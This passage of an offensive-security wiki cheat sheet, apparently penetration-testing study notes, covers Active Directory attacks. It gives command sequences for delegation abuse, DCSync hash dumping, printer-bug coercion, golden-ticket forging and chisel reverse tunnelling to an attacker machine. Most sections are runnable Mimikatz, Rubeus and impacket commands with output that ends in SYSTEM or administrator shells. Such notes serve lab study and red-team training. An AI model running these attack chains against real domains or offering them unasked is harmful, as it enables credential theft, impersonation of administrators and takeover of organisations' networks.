sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Load the ticket of Administrator (or victim user) in memory with Mimikatz or Rubeus for a Pass the Ticket.
.\Rubeus.exe ptt /ticket:

# Automatically compormise a print server
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation#automatically-compromising-a-print-server
.\SpoolSample.exe printmachine unconstrinedmachine

# If the TGT is from a DC, you could perform a DCSync attack and get all the hashes from DC. https://www.youtube.com/watch?v=QfyZQDyeXjQ
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
# Use secretsdump if my user have DCsync rights
python3 secretsdump.py aghanim:password@10.10.10.161
</syntaxhighlight>

=== Unconstrained Delegation 2 ===

[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained (KUD) Unconstrained - The Hacker Recipes]

[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#unconstrained-delegation OSEP Cheat Sheet | 0x4rt3mis]

[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]

* Definition & Theory:
'''Unconstrained Delegation''': An extension to Kerberos authentication to solve double-hop issue, allows a service to impersonate the user to other services.

* '''Ticket Granting Ticket (TGT)''': Issued after user login. Helps in obtaining service-specific tickets.

* '''Ticket Granting Service ticket''' (TGS): Obtained using TGT for a specific service.

* '''Unconstrained Delegation Flow''':
User requests a TGS for a service, includes forwardable TGT.

* KDC returns TGT with the forward flag and a regular TGS.

* TGT embedded into the TGS, sent to service.

* Service can impersonate the user for backend services.

* Service accounts can also be configured with unconstrained delegation if the application executes in the context of the service account rather than the machine account.

'''Enumeration '''

The information for unconstrained delegation is stored in the userAccountControl property as TRUSTED_FOR_DELEGATION, which is represented with a numerical value of 524288.

==== Dumping TGT if a user already have authenticated ====

<syntaxhighlight lang="bash">
# Using PowerView to enumerate
# This can also be done with BloodHound
Get-DomainComputer -Unconstrained
...
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# If you find a server thats vulnerable to unconstrained delegation you must perform lateral movement or compromise vulnerable application on the machine.
# We assume we have performed lateral movement
# First; Extracting User's TGTs:
mimikatz # privilege::debug
# Then dump the tickets. In this example a webserver is running on the target. Since the webserver is configured with Windows Authentication, we have to wait for an admin to visit the website before we can dump the ticket for that admin user.
mimikatz # sekurlsa::tickets
# Export TGT:
mimikatz # sekurlsa::tickets /export
# Look for Ticket Granting Ticket (TGT) for the user of interest (e.g., admin).
# Inject the TGT into the Current Session:
mimikatz # kerberos::ptt [0;9eaea]-2-0-60a10000-admin@krbtgt-PROD.CORP1.COM.kirbi
# TGT for the admin user is now loaded in memory.
# Test Access:
PsExec.exe \\cdc01 cmd
# To use impacket-psexec
# 1 - Convert the .kirbi ticket to a .ccache file using a tool like kirbi2ccache.
# 2 - Set the KRB5CCNAME environment variable to the path of the .ccache file:
export KRB5CCNAME=/path/to/your/file.ccache
# 3 - use psexec.py
psexec.py -k -no-pass PROD.CORP1.COM/admin@dc01 cmd.exe
</syntaxhighlight>

==== PrinterBug (from Windows) ====

<syntaxhighlight lang="bash">
# Another method that does not rely on user interaction
# Check if the print spooler service is running on the domain controller:
PS C:\Tools> dir \\cdc01\pipe\spoolss
# Now we will oerce the SYSTEM account to authenticate locally via the MS-RPRN RPC interface.
# Instead of using mimikatz to see through many TGTs we will use rubeus instead. This will not write to disk!
# Launch rubeus in monitor mode and filter for the machine account cdc01.
Rubeus.exe monitor /interval:5 /filteruser:CDC01$
# Trigger the print spooler change notification
# DC01 is target machine, APPSRV01 is capture server
SpoolSample.exe CDC01 APPSRV01
# Now inject the base64 encoded ticket
Rubeus.exe ptt /ticket:[Base64EncodedTicket]
# The CDC01$ account has domain replication permissions, allowing for dcsync to dump password hashes.
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
# With krbtgt NTLM hash we can craft a golden ticket.
# We can also dump the hash for the domain admin and
lsadump::dcsync /domain:prod.corp1.com /user:prod\administrator
impacket-psexec administrator@192.168.229.70 -hashes :2892d26cdf84d7a70e2eb33fc5rk56l7
[*] Requesting shares on 192.168.229.70.....
[*] Found writable share ADMIN$
[*] Uploading file bUwUVqLI.exe
[*] Opening SVCManager on 192.168.229.70.....
[*] Creating service FyXV on 192.168.229.70.....
[*] Starting service FyXV.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
</syntaxhighlight>

==== PrinterBug (from Linux) ====

[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained]

[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]

[https://github.com/dirkjanm/krbrelayx GitHub - dirkjanm/krbrelayx: Kerberos unconstrained delegation abuse toolkit]

<syntaxhighlight lang="bash">
# If MachineAccount is vulnerable to UC, but you have compromised credentials to that machine and have admin, use secrets dump to dump NTLM hash of the machineAccount.
# 0. Look for hostname and NTLM hash
impacket-secretsdump domain/user:password@targetIP
...
CORP\FILES01$NTLM-HASH
...
# 1. Edit the compromised account's SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)
addspn.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -s 'HOST/attacker.DOMAIN_FQDN' --additional 'DomainController'
python addspn.py -u foo.lan\\ownedUser -p userPassword -s host/PWNED.foo.lan ldap://dc1.foo.lan
# 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account's SPNs
dnstool.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'
python dnstool.py -u foo.lan\\ownedUser -p userPassword -r PWNED.foo.lan -a add -d DC1.foo.lan
# 3. Check that the record was added successfully (after ~3 minutes)
nslookup attacker.DOMAIN_FQDN DomainController
# 4. Start the krbrelayx listener (the tool needs the right kerberos key to decrypt the ticket it will receive)
# 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys
krbrelayx.py --krbsalt 'DOMAINusername' --krbpass 'password'
# 4.b. or supply the right Kerberos long-term key directly
krbrelayx.py -aesKey aes256-cts-hmac-sha1-96-VALUE
sudo python krbrelayx.py --krbsalt foo.lanownedUser --krbpass userPassword
# 5. Authentication coercion
# PrinterBug, PetitPotam, PrivExchange, ...
printerbug.py domain/'vuln_account$'@'DC_IP' -hashes LM:NT 'DomainController'
# 6. Check if it works. Krbrelayx should have received and decrypted a ticket, extracting the coerced principal's TGT.
# There should be a krbtgt ccache file in the current directory. And it can be used by
export KRB5CCNAME=`pwd`/'krbtgt.ccache'
$ python secretsdump.py -k DC1.foo.lan -just-dc
</syntaxhighlight>

=== Constrained Delegation ===

If a user or computer is allowed for "Constrained Delegation" it will be able to '''impersonate any user to access some services in a computer'''. Then, if you '''compromise the hash''' of this user/computer you will be able to '''impersonate any user''' (even domain admins) to access some services.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation]

<syntaxhighlight lang="bash">
# userAccountControl
# If a service account has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), then it can obtains a TGS for itself (the service) on behalf of any other user.
# msDS-AllowedToDelegateTo
# A service account could obtain a TGS on behalf any user to the service set in msDS-AllowedToDelegateTo. To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.

# Enumerate from PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Kekeo.exe and Mimikatz.exe
# Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
# Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
# Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'

# Rubeus
# Obtain a TGT for the Constained allowed user
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
# Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
# Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
</syntaxhighlight>

=== Constrained Delegation 2 ===

'''S4U2Self'''

* '''Functionality''': Allows a frontend service to request a TGS to the frontend service from a KDC on behalf of the user authenticating against it without needing the user's password or hash

* '''Usage''': If '''TRUSTED_TO_AUTH_FOR_DELEGATION''' is present in the useraccountcontrol property

'''S4U2Proxy'''

* '''Functionality''': Requests a service ticket for the backend service on behalf of a user, depending on the service ticket obtained through S4U2Self or directly from a user authentication via Kerberos

* '''Usage''': Can use a '''forwardable TGS''' supplied by the user if Kerberos is used for authentication to the frontend service

<syntaxhighlight lang="bash">
# We assume we have compromised a user IISsvc that has these delegation rights
msds-allowedtodelegateto : {MSSQLSvc/cdc01.prod.corp1.com:1433, MSSQLSvc/cdc01.prod.corp1.com:SQLEXPRESS}
# First we are going to generate an NTLM hash from the password we compromised
PS C:\Tools> .\Rubeus.exe hash /password:lab
# Requesting TGT for IISSvc with the asktgt command by supplying the
username (/user), domain (/domain), and NTLM hash (/rc4):
PS C:\Tools> .\Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
# With the Base64-encoded TGT for IISSvc, we can use Rubeus' s4u command. Provide the TGT using /ticket, the username (e.g., domain admin) with /impersonateuser (utilizing S4U2Self), the service's SPN with /msdsspn (for S4U2Proxy), and use /ptt to inject it into memory directly.
PS C:\Tools> .\Rubeus.exe s4u /ticket:doIE+jGGBT... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
# We now have the ticket for the service injected into memory and we can authenticate against MSSQL.
PS C:\Tools> klist Current LogonId is 0:0x2b28f Cached Tickets: (1) #0> Client: administrator @ PROD.CORP1.COM Server: mssqlsvc/cdc01.prod.corp1.com:1433 @ PROD.CORP1.COM KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Start Time: 10/9/2023 12:42:35 (local) End Time: 10/9/2023 22:35:29 (local) Renew Time: 10/16/2023 12:35:29 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0 Kdc Called:
.\SQL.exe
Auth success!
Logged in as: PROD\Administrator
...
# Since we have a ticket in memory for authenticating to mssql, we can use this to get code exectution. https://book.ghanim.no/?page_id=2703#Code_Execution

# ATTACKING using kali and impacket
# First enumerate domain for constrained delegation using PowerView
Get-DomainUser -TrustedToAuth
# Look for
samaccountname : iisservice
...
msds-allowedtodelegateto : {MSSQLSvc/sql01.domain.com:SQLEXPRESS, MSSQLSvc/sql01.domain.com:1433}
...
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
# Constrained delegation is configured for the iisservice account.
# msds-allowedtodelegateto property contains the SPN of the MS SQL server on SQL01. Indicates that constrained delegation is only allowed to that SQL server.
# TRUSTED_TO_AUTH_FOR_DELEGATION - Value is used to indicate if a constrained delegation can be used if the authentication between the user and the service uses a different authentication mechanism like NTLM.
# Request a ticket. If you have a password remove -hashes
impacket-getTGT domain.com/iisservice -hashes :12bb0b468b42c76d48a3a5ec3b6ce5de
# Export to KRB5CCNAME
export KRB5CCNAME=iisservice.ccache
# iiservice acc is configured with constrained delegation, that means we can request service tickets for other users based on the SPNs set.
impacket-getST -spn mssqlsvc/sql01.domain.com:1433 -impersonate administrator domain.com/iisservice -k -no-pass
# Export the administrator ccache to KRB5CCNAME
export KRB5CCNAME=administrator.ccache
# Connect to sql01 using kerberos authentication
impacket-mssqlclient sql01.domain.com -k
# Or much easier way to obtain code exec if user is SA or DBO is to use MSSQL Pwner
MSSqlPwner.py sql01.corp.com -k -no-pass interactive
</syntaxhighlight>

=== Resource based Constrained Deleagation ===

'''Introduction:'''

* RBCD is a security feature introduced in Windows Server 2012 by Microsoft. It's designed to offer a more secure delegation mechanism, reducing the need for elevated access rights, specifically the SeEnableDelegationPrivilege.

* '''Microsoft's Extensions - S4U2Self and S4U2Proxy'''
Microsoft realized Kerberos needed some help with constrained delegation and the double-hop issue, so they created two add-ons.

* '''S4U2Self (Extension 1)'''
This lets a service prove your identity to another service without needing your password, as if it's you. It's like the service can show a digital ID card that says, "Trust me, I'm acting for this user."

* '''S4U2Proxy (Extension 2)'''
After S4U2Self does its job, S4U2Proxy takes over. It allows the first service to talk to the second service on your behalf. It's as if the service has a special ticket that says, "The user has given me permission to do this."

'''Key Concepts:'''

* '''RBCD Configuration''': The delegation is controlled by the''' msDS-AllowedToActOnBehalfOfOtherIdentity''' property on the backend service.

* '''Advantages''': The need for '''SeEnableDelegationPrivilege''' permissions is eliminated. Backend service administrators can typically configure RBCD.

* '''Attack Prerequisites''': The frontend service must have an SPN set in the domain. While user accounts typically don't have an SPN set, all computer accounts do.

See notes for Resourced box

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation]

[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution Kerberos Resource-based Constrained Delegation: Computer Object Takeover - Red Team Notes (ired.team)]

<syntaxhighlight lang="bash">
# The attacker can pass-the-ticket and impersonate the user to gain access to the victim.
# To check the MachineAccountQuota of the domain you can use:
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
# Check if you have GenericWrite on a computer object.
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }

# From Windows
# Attack
# Creating a Computer Object
# You can create a computer object inside the domain using :
Import-Module .\powermad.ps1
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Get-DomainComputer FAKECOMPUTER #Check if created if you have powerview
# Performing a complete S4U attack
# First of all, we created the new Computer object with the password 123456, so we need the hash of that password:
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
# This will print the RC4 and AES hashes for that account.
# Now, the attack can be performed. Just use on of the hash types, not all of them :
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
# You can generate more tickets just asking once using the /altservice param of Rubeus:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
### Note that users has an attribute called "Cannot be delegated". If a user has this attribute to True, you won't be able to impersonate him . This property can be seen inside bloodhound.
# Accessing
# The last command line will perform the complete S4U attack and will inject the TGS from Administrator to the victim host in memory.
In this example it was requested a TGS for the CIFS service from Administrator, so you will be able to access C$:
ls \\victim.domain.local\C$

# From Linux
# METHOD 2 - GETTING A SHELL
# Create a new machine account on the domain
impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.200.175 -hashes : -computer-name 'FAKECOMPUTER$' -computer-pass '123456'
# Verify that the machine account was added to the domain. Must be done through a shell on the Windows.
*Evil-WinRM* PS C:\Users\l.livingstone\Documents> Get-ADComputer FAKECOMPUTER
# Manage delegation rights by using rbcd.py and use it to set msDS-AllowedToActOnBehalfOfOtherIdentity on our new machine account
https://raw.githubusercontent.com/tothi/rbcd-attack/master/rbcd.py
python3 rbcd.py -dc-ip 192.168.200.175 -t RESOURCEDC -f 'FAKECOMPUTER' -hashes : resourced\\l.livingstone
# If you have the hash of the user
impacket-rbcd -action write -delegate-to "BACKUP01$" -delegate-from "FAKECOMPUTER$" resourced.local/l.livingstone -hashes :942f15864b02fdee9f742616ea1eb778
# Confirm that the action was successful
*Evil-WinRM* PS C:\Users\L.Livingstone\Documents> Get-adcomputer resourcedc -properties msds-allowedtoactonbehalfofotheridentity |select -expand msds-allowedtoactonbehalfofotheridentity
# We now need to get the administrator service ticket. We can do this by using impacket-getST with our privileged machine account.
/usr/bin/impacket-getST -spn cifs/resourcedc.resourced.local resourced/FAKECOMPUTEr$:'123456' -impersonate Administrator -dc-ip 192.168.200.175
# or
impacket-getST -spn cifs/resourcedc.resourced.local -impersonate administrator 'resourced.local/FAKECOMPUTER$:123456'
# The ticket is aved on our attacker machine as Administrator.ccache. Export the environment variable named KRB5CCNAME with the location of file
export KRB5CCNAME=./Administrator.ccache
# Use psexec to get a shell
/usr/bin/impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.200.175
# or
impacket-psexec administrator@resourcedc.resourced.local -k -no-pass

# From Windows
# Method 3
# Enumerate
PS C:\tools> Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ |
Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
"$($env:UserDomain\$env:Username)") {$_}}
# Creating a New Computer Account:
# Use the Powermad.ps1 script to create a new computer account named myComputer with the password 'h4x'.
. .\powermad.ps1
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-
SecureString 'h4x' -AsPlainText -Force)
# Setting up the Security Descriptor:
# Obtain the SID of the newly created computer account.
# Create a new security descriptor using the obtained SID.
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
# Converting the Security Descriptor:
# Convert the security descriptor into a byte array format suitable for the msDS-AllowedToActOnBehalfOfOtherIdentity property.
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
# Updating the Property:
# Update the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target computer object (appsrv01).
Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Verifying the Setup:
# Check the security descriptor to ensure it's set correctly.
$RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
$Descriptor.DiscretionaryAcl
# Launching the Attack:
# Obtain the hash of the computer account password using Rubeus.
.\Rubeus.exe hash /password:h4x
# Use the S4U extensions with Rubeus to request a TGS for appsrv01, impersonating the administrator.
.\Rubeus.exe s4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221
/impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
# Verifying the Attack:
# List the service ticket to CIFS on APPSRV01 using klist.
klist
# Gaining Access:
# Access the file services on appsrv01 as the administrator domain admin user.
dir \\appsrv01.prod.corp1.com\c$
# Getting shell
psexec.exe \\appsrv01 cmd.exe
</syntaxhighlight>

==== Using NetExec for S4U2Self and S4U2Proxy ====

New feature in [https://twitter.com/hashtag/NetExec?src=hashtag_click #NetExec] : S4U2Self and S4U2Proxy support and automation with --delegate and --self .

It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities

[https://twitter.com/_zblurx/status/1720409757175926893 (2) Thomas Seigneuret on X: "New feature in #NetExec : S4U2Self and S4U2Proxy support and automation with --delegate and --self It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities 🔥 For example with RBCD: https://t.co/1KgFDNcwcc" / X (twitter.com)]

[[File:2023-11-image.png|thumb]]

It is also possible to use only S4U2Self in order to impersonate any account on a domain joined computer for which you know the credentials:

[[File:2023-11-image-2.png|thumb]]

==== Desc from BloodHound ====

<syntaxhighlight lang="bash">
# Full control of a computer object can be used to perform a resource based constrained delegation attack. Abusing this primitive is currently only possible through the Rubeus project.
# First, if an attacker does not control an account with an SPN set, Kevin Robertson's Powermad project can be used to add a new attacker-controlled computer account:
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
# PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account:
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
# We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we're taking over, again using PowerView in this case:
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# We can then use Rubeus to hash the plaintext password into its RC4_HMAC form:
Rubeus.exe hash /password:Summer2018!
# And finally we can use Rubeus' *s4u* module to get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER:
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
</syntaxhighlight>

== DCSync ==

<syntaxhighlight lang="bash">
impacket-secretsdump domain.com/domainadmin01@dc_IP -hashes :NTLM_HASH -dc-ip DC_IP -outfile dcsync.txt
</syntaxhighlight>

== ACLs Abuse ==

[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces]

== Printer Spooler service abuse ==

If the '''''Print Spooler''''' service is '''enabled,''' you can use some already known AD credentials to '''request''' to the Domain Controller’s print server an '''update''' on new print jobs and just tell it to '''send the notification to some system'''.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse]

<syntaxhighlight lang="bash">
# Finding Windows servers on the domain
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

# Finding spooler services listening
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
# For linux, use rpcdump.py
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

# Ask service to authenticate against an arbitrary host
# https://github.com/NotMedic/NetNTLMtoSilverTicket
SpoolSample.exe
# For linux use
# https://github.com/NotMedic/NetNTLMtoSilverTicket
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
python dementor.py -d domain -u username -p password
printerbug.py 'domain/username:password'@
</syntaxhighlight>

== Zerologon ==

<syntaxhighlight lang="bash">
# https://github.com/dirkjanm/CVE-2020-1472
# https://www.secura.com/blog/zero-logon
# Bypass authentication and gain administrator-level privileges in a matter of seconds. If vulnerable.
# Test for zerologon
https://github.com/SecuraBV/CVE-2020-1472
# PoC
https://github.com/dirkjanm/CVE-2020-1472
</syntaxhighlight>

== Windows Credentials ==

[https://book.ghanim.no/?page_id=2703#Windows_Credentials CheatSheet II – Advanced – BOOK_GHANIM]

----

= Pivoting =

https://blog.aghanim.net/?p=2294

== Living Off the Foreign Land ==
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform

https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-2

https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-3

== Tunnelling/ Proxying ==

<syntaxhighlight lang="bash">
# CHISEL AND PROXYCHAINS AND FOXYPROXY
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).
# Attacker machine
chisel server -p 37777 --reverse
# Target machine
./chisel client Attacker-IP:37777 R:socks
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --> 10.200.57.200 on port 1080 --> 10.200.57.150 (Unreachable from attacker).
proxychains nc -vn 10.200.57.150 3389
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).
proxychains python2 exploit.py.
# OR by using foxy proxy if I want to access http.
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).
# And start foxy proxy. Now I can access the webserver on.
# I can also use proxychains to access HTTP.
proxychains firefox.
# This will open firefox through proxychains.
-----------------------------------------------
# SSHUTTLE
# Simulate a VPN tunnel using sshuttle. Now I can reach other targets, which originally was unreacheable, on the network by going through 172.16.0.5
sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24
</syntaxhighlight>

== Port Forwarding ==

<syntaxhighlight lang="bash">
# -L means portforwarding. This will forward port 80 on host 172.16.0.10 to our attacker on port 8000. Can access the port (webserver) by typing localhost:8000.
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN
</syntaxhighlight>

= Post-exploitation with high privileged account =

Once you get Domain Admin or Enterprise Admin you can dump the domain database: '''ntds.dit'''.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account]

== Dumping Domain Credentials ==

== Persistence ==

== Golden Ticket ==

=== Golden ticket on one domain ===

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket]

A valid '''TGT as any user''' can be created '''using the NTLM hash of the krbtgt AD account'''. The advantage of forging a TGT instead of TGS is being '''able to access any service''' (or machine) in the domain and the impersonated user.

<syntaxhighlight lang="bash">
# Find domain SID.
whoami /user # Need to be logged in as a user and not nt authority\system
# Or use PowerView.ps1
Get-DomainSID
# EXAMPLE 1
# Use mimikatz to generate a golden ticket
mimikatz # privilege::debug
mimikatz # kerberos::golden /user:alice /domain:svcorp.com /sid:S-1-5-21-466546139-763938477-1796994327 /target:sv-file01.svcorp.com /service:HTTP /rc4:7f004ce6b8f7b2a3b6c477806799b9c0 /ptt
# EXAMPLE 2
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory
# EXAMPLE 3
# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
# EXAMPLE 4
# Linux - impacket
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass

# With the golden ticket injected into memory, we can launch a new command prompt with
misc::cmd and again attempt lateral movement with PsExec.
psexec.exe \\dc01 cmd.exe
</syntaxhighlight>

=== Taking over forest with extra SIDs ===

